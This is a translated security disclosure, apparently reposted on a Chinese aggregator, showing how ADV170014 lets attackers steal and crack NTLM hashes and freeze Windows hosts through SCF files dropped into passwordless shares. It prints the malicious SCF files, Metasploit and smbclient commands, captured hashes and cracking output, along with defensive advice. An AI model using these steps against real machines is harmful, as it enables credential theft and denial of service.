Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】ADV170014 NTLM SSO:利用指南

$
0
0
【技术分享】ADV170014 NTLM SSO:利用指南

2017-10-27 10:57:50

阅读:349次
点赞(0)
收藏
来源: sysadminjd.com





【技术分享】ADV170014 NTLM SSO:利用指南

作者:興趣使然的小胃





【技术分享】ADV170014 NTLM SSO:利用指南

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

2017年10月,微软在周二补丁日公布了一份安全公告(ADV170014),这份安全公告中提到了NTLM身份验证方案中的一个漏洞,恶意攻击者可以利用这个漏洞来窃取哈希,远程冻结受影响的主机。

我在2017年5月24日报告了这个漏洞,微软于2017年10月18日正式结束了该漏洞处理周期。

因此,微软总共花了148天来检查这个问题。

在10月份的周二补丁日之后,我公开了漏洞的详细信息,既然官方已经公布这个漏洞的“解决方案”,现在系统管理员可以在注册表上使用补丁来修复漏洞(前提当前环境可以使用这个补丁),后面我们会详细介绍这一点。


二、漏洞概要

众所周知,微软的NTLM架构中存在一些缺陷,哈希窃取并不是一门新的技术,渗透测试人员在攻击微软环境时,首先就会尝试哈希窃取技术。

然而,这些技术大多数都需要用户参与其中,或者需要拦截流量才能完成攻击流程。

本文介绍的这种新的攻击方法完全不需要用户交互,所有操作都可以在攻击者这端完成,当然,为了成功实施攻击,必须满足某些条件。


三、攻击场景

若要实施攻击,目标主机上必须存在没有设置密码保护的一个共享文件夹,这种场景非常常见,比如办公室、学校、医院以及大多数windows环境中,人们都会通过共享文件夹来共享音乐、照片以及文档。

举个例子,用户“Juan”在他的桌面上创建了一个文件夹,名为“Pruba2”,他想把这个文件夹共享给他的团队使用。


【技术分享】ADV170014 NTLM SSO:利用指南

现在,转到“Sharing(共享)”选项卡窗口,修改目录属性,允许用户不使用密码来查看这个共享文件夹。


【技术分享】ADV170014 NTLM SSO:利用指南

在这个对话框中,我们可以看到共享文件夹的具体路径,为“\\JUAN-PC\Users\juan\Desktop\prueba2”。

现在,点击“Network and Sharing center(网络和共享中心)”。


【技术分享】ADV170014 NTLM SSO:利用指南

如上图所示,点击“Turn off password protected sharing(关闭密码保护共享)”选项,这样一来,任何用户就可以访问这个共享文件夹,无需身份验证。


四、SCF文件

微软在Windows 3.11时引入了SCF文件。SCF文件其实是纯文本文件,可以用来指导Windows文件资源管理器执行一些基本任务。

现在已经有一些基于SCF的攻击手段,但到目前为止,所有的这些攻击方法都需要用户参与才能执行SCF文件。

我们找到了近期使用的两个例子,来自Defense Code的Bosko Stankovic在一篇文章中介绍了如何使用Google Chrome浏览器窃取Windows凭据信息,2015年的黑帽大会上,Jonathan Brossard以及Hormazd Billimoria演示了使用SMB的一种攻击方法(请参考:“SMB:共享的不仅仅是你的文件”)。

基本的SCF文件结构如下所示:

[Shell] Command=2 IconFile=\\192.168.1.101\share\test.ico [Taskbar] Command=ToggleDesktop

文件结构就是这么简单。值得一提的是,SCF文件表面上看起来比较简单,实际上这个Windows功能非常复杂,并且几乎不存在相关的参考文档。


五、窃取哈希

在攻击演示场景中,我们准备使用Metasploit工具,所使用的SCF文件内容如下所示:

root@sysadminjd:~#cattest.scf [Shell] Command=2 IconFile=\\192.168.1.111\share\test.ico [Taskbar] Command=ToggleDesktop root@sysadminjd:~#

我们所使用的攻击主机IP地址为192.168.1.111,在攻击主机上,我们运行着capture/smb Metasploit模块:

root@sysadminjd:~#msfconsole-q msf>useauxiliary/server/capture/smb msfauxiliary(smb)>setJOHNPWFILE/tmp/smbhash.txt JOHNPWFILE=/tmp/smbhash.txt msfauxiliary(smb)>exploit-j [*]Auxiliarymodulerunningasbackgroundjob [*]Serverstarted. msfauxiliary(smb)

因为我们准备使用John the Ripper来破解捕获的哈希,所以我们需要在上述命令中设置JOHNPWFILE选项,将其指向/tmp/smbhash.txt,该文件用来保存已捕捉到的哈希值。

此时,Prueba2目录中空空如也,想要攻击成功的话,我们需要往里面添点东西。


【技术分享】ADV170014 NTLM SSO:利用指南

一切准备就绪后,我们需要将SCF文件上传到受漏洞影响的这个目录中,此时我们可以使用各种方法,比如通过OSX Finder、Windows资源管理器来上传文件,这里我们使用的是smbclient这个命令行工具。

root@sysadminjd:~#smbclient//192.168.1.67/Users WARNING:The"syslog"optionisdeprecated Enterroot'spassword: OS=[Windows7Ultimate7601ServicePack1]Server=[Windows7Ultimate6.1] smb:\>cdjuan smb:\juan\>cdDesktop\ smb:\juan\Desktop\>cdprueba2\ smb:\juan\Desktop\prueba2\>puttest.scf puttingfiletest.scfas\juan\Desktop\prueba2\test.scf(88.9kb/s)(average88.9kb/s) smb:\juan\Desktop\prueba2\>ls .D0MonOct2312:27:152017 ..D0MonOct2312:27:152017 .DS_StoreAH6148TueMay2317:29:032017 test.scfA91MonOct2312:27:152017 6527487blocksofsize4096.4043523blocksavailable smb:\juan\Desktop\prueba2\> root@sysadminjd:~#

随后,这个目录中出现了我们上传的SCF文件。


【技术分享】ADV170014 NTLM SSO:利用指南

一切顺利的话,此时我们的Metasploit控制台中会出现如下信息:

msfauxiliary(smb)> [*]SMBCaptured-2017-10-2312:27:15-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49163-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:47894338d99abe2f08e2c693618c7323 NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000 [*]SMBCaptured-2017-10-2312:27:15-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49163-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:e97b70559f29462e2ca221d31113b9ca NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000 [*]SMBCaptured-2017-10-2312:27:15-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49163-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:eb8b228b739cc95a12d7e0d89d89e002 NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000 [*]SMBCaptured-2017-10-2312:37:09-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49164-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:4abb0803c4afd1509bfca3bbc566ad70 NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000 [*]SMBCaptured-2017-10-2312:37:09-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49164-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:5eeb82aab85e9663624aaf6500e4d8f8 NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000 [*]SMBCaptured-2017-10-2312:37:09-0400 NTLMv2ResponseCapturedfrom192.168.1.67:49164-192.168.1.67 USER:juanDOMAIN:juan-PCOS:LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:55a0cb725a5a171cffdccea36fdcd934 NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000

如上所示,只需要一个简单的上传操作,就能触发多次身份认证请求,因此我们不用担心拿不到数据。

现在,在攻击主机上我们已经捕获到一些哈希值,接下来我们可以使用John来暴力破解明文密码。

root@sysadminjd:~#cd/tmp/ root@sysadminjd:/tmp#johnsmbhash.txt_netntlmv2 Usingdefaultinputencoding:UTF-8 Rules/masksusingISO-8859-1 Loaded6passwordhasheswith6differentsalts(netntlmv2,NTLMv2C/R[MD4HMAC-MD532/64]) Press'q'orCtrl-Ctoabort,almostanyotherkeyforstatus abc(juan) abc(juan) abc(juan) abc(juan) abc(juan) abc(juan) 6g0:00:00:00DONE2/3(2017-10-2312:27)75.86g/s404596p/s585124c/s585124C/sabc Usethe"--show"optiontodisplayallofthecrackedpasswordsreliably Sessioncompleted root@sysadminjd:/tmp#

John成功恢复了明文密码,看起来“juan”用户使用了弱口令“abc”。


六、冻结目标主机

在第二种攻击场景中,我们可以远程冻结目标主机,来看看具体操作步骤。

我们还是需要存在漏洞的一个文件夹,这里我们直接使用了前面那个文件夹,同样,我们也需要使用一个SCF文件,文件内容与上一个文件相比有点区别。

root@sysadminjd:~#catmft.scf [Shell] Command=2 IconFile=c:\$MFT\123 [Taskbar] Command=ToggleDesktop root@sysadminjd:~#

这个SCF文件中引用了$MFT,这个字符串可以锁定NTFS文件系统,已经有一篇文章介绍过这个技术(西班牙语写的,阅读起来可能有点麻烦),你也可以在互联网上搜搜关于这方面的参考资料。

现在,我们可以使用smbclient将该SCF文件上传到存在漏洞的主机上。

root@sysadminjd:~#smbclient//192.168.1.67/Users WARNING:The"syslog"optionisdeprecated Enterroot'spassword: OS=[Windows7Ultimate7601ServicePack1]Server=[Windows7Ultimate6.1] smb:\Zcd Default\desktop.inijuan\Public\ smb:\>cdjuan\Desktop\prueba2\ smb:\juan\Desktop\prueba2\>ls .D0WedMay2418:08:342017 ..D0WedMay2418:08:342017 .DS_StoreAH6148TueMay2317:29:032017 1.exeA7168TueMay2317:29:032017 prueba.scfA92WedMay2418:08:342017 6527487blocksofsize4096.4156104blocksavailable smb:\juan\Desktop\prueba2\>putmft.scf puttingfilemft.scfas\juan\Desktop\prueba2\mft.scf(17.6kb/s)(average17.6kb/s)

整个过程就是这么简单,从现在起,攻击者或目标用户不需要再做什么操作,目标主机会锁定文件系统,直至重启。


七、影响范围

根据微软的说法,从Windows 3.11开始到Windows 10的所有Windows版本(包括桌面版以及服务器版)都会受到这种攻击影响。

实话实说,我只在Windows 7以及Windows 10上测试过这种攻击方法,然后我就把皮球踢给微软,由他们负责处理后续事宜 :-)


八、防御措施

微软为这个漏洞提供了一个补丁程序,这个补丁会修改两项注册表键值,以禁用系统上的NTLM机制。只有Windows 10以及Windows Server 2016上才有这些注册表键值,并且看起来微软并不想将这种机制移植到其他版本的Windows系统。

另一个问题是,禁用NTLM会破坏已有的许多环境,这一点不容忽视。

我的建议是使用强度较高的密码。实施攻击后,我们需要破解已捕获的哈希,如果密码非常复杂,破解过程可能需要很长时间,让攻击者举足无措。

更好的办法是,不要设置没有密码的共享文件夹,这样做就能免受此类攻击。


九、致谢及总结

这个漏洞已经存在很长一段时间,我在渗透测试任务中使用这个漏洞已将近一年的时间。

漏洞原理非常简单,几乎每个人都可以加以利用。好消息是,想要成功利用这个漏洞必须满足一些条件,使用默认配置的Windows不会受此漏洞影响。

感谢微软安全响应中心(MSRC),他们付出了许多心血,同时也提供了一个补丁修复了部分操作系统上存在的漏洞。想在不破坏Windows系统完整性的同时,提供完整补丁以适配所有版本的操作系统,这一点不大现实。

来自Defense Code的Bosko Stankovic发表了一篇文章介绍如何使用Chrome浏览器窃取Windows凭据,黑帽大会上Jonathan Brossard和Hormazd Billimoria演示了如何利用SMB发起攻击,他们的研究成果非常优秀,没有他们的帮助,我很难实现这个漏洞利用技术。

再次感谢读者阅读本文。



【技术分享】ADV170014 NTLM SSO:利用指南
【技术分享】ADV170014 NTLM SSO:利用指南
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.sysadminjd.com/adv170014-ntlm-sso-exploitation-guide/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images